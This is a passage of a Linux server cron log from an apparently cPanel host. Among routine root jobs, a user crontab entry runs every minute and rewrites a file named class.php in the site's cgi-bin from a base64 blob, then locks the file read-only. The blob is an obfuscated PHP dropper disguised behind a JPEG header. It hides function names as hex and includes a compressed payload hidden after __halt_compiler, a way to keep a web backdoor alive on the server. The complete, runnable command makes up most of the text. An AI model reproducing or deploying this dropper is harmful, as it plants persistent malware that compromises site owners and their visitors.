bXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:39:01 server CROND[18163]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 21:39:01 server CROND[18165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:40:01 server CROND[18375]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 21:40:01 server CROND[18376]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 21:40:01 server CROND[18377]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 21:40:01 server CROND[18378]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:41:01 server CROND[18489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:42:01 server CROND[18548]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 21:42:01 server CROND[18549]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:43:01 server CROND[18613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:44:01 server CROND[18666]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:45:01 server CROND[18736]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 21:45:01 server CROND[18737]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:45:01 server CROND[18738]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 21:46:01 server CROND[18911]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:47:01 server CROND[19017]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:48:01 server CROND[19081]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:49:01 server CROND[19150]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:50:01 server CROND[19233]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 21:50:01 server CROND[19235]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 21:50:01 server CROND[19234]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 21:50:01 server CROND[19236]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:50:01 server CROND[19237]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 21:51:02 server CROND[19372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:52:01 server CROND[19523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 